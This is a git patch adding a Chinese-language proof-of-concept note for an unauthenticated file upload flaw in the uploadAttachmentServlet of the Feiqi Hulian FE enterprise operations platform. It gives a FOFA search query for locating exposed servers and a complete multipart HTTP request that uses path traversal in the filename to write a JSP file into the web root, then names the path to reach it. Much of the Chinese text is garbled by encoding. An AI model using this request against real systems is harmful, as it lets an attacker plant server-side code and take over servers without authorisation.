From cfa39cf3e7a6073bea225cbc38da3a8179c60653 Mon Sep 17 00:00:00 2001
From: Rainyseason <73454853+Rainyseason-c@users.noreply.github.com>
Date: Tue, 31 Mar 2026 10:11:06 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E9=A3=9E=E4=BC=81=E4=BA=92=E8=81=94FE?=
 =?UTF-8?q?=E4=BC=81=E4=B8=9A=E8=BF=90=E8=90=A5=E7=AE=A1=E7=90=86=E5=B9=B3?=
 =?UTF-8?q?=E5=8F=B0uploadAttachmentServlet=E6=96=87=E4=BB=B6=E4=B8=8A?=
 =?UTF-8?q?=E4=BC=A0.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...³å�°uploadAttachmentServlet文件上传.md | 36 +++++++++++++++++++
 1 file changed, 36 insertions(+)
 create mode 100644 wpoc/飞�互�/飞�互�FE�业��管�平�uploadAttachmentServlet文件上传.md

diff --git a/wpoc/飞�互�/飞�互�FE�业��管�平�uploadAttachmentServlet文件上传.md b/wpoc/飞�互�/飞�互�FE�业��管�平�uploadAttachmentServlet文件上传.md
new file mode 100644
index 0000000..6f68037
--- /dev/null
+++ b/wpoc/飞�互�/飞�互�FE�业��管�平�uploadAttachmentServlet文件上传.md
@@ -0,0 +1,36 @@
+# 飞�互�FE�业��管�平�uploadAttachmentServlet文件上传
+
+# 一��洞简介
+飞�互�FE�业��管�平�存在未授�文件上传�洞，获��务器��
+
+
+# 二�资产测绘
++ fofa
+```
+body="/login/indexPicXml_valid.jsp?p="
+```
+
+# 三��洞�现
+```
+POST /servlet/uploadAttachmentServlet HTTP/1.1
+Host:
+Accept-Encoding: gzip, deflate
+Accept: */*
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
+
+------WebKitFormBoundarygcflwtei
+Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/dudesuite.jsp"
+Content-Type: text/plain
+
+<% out.println("dudesuite");%>
+------WebKitFormBoundarygcflwtei
+Content-Disposition: form-data; name="json"
+
+{"iq":{"query":{"UpdateType":"mail"}}}
+------WebKitFormBoundarygcflwtei--
+```
+# 访问地�
+```
+ /dudesuite.jsp
+```